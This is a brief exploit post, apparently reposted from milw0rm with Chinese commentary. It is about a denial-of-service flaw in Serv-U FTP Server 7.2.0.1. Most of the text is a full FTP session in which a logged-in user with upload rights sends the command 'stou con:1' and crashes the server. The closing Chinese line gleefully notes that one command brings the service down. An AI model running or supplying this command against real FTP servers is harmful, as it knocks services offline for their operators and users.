Serv-U 7.2.0.1 (stou con:1) 拒绝服务漏洞的利用 Denial of Service Vulnerability (auth)
#Serv-U 7.2.0.1 ftp server DoS
#user must have upload permissions
#
#(x) dmnt 2008-10-01

220 Serv-U FTP Server v7.2 ready…
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.
# now server DoS’ed

# milw0rm.com [2008-10-03]


首先需要有用户名密码可以正常登录FTP，然后只要执行一条命令“stou con:1”，呵呵就把FTP服务搞挂了。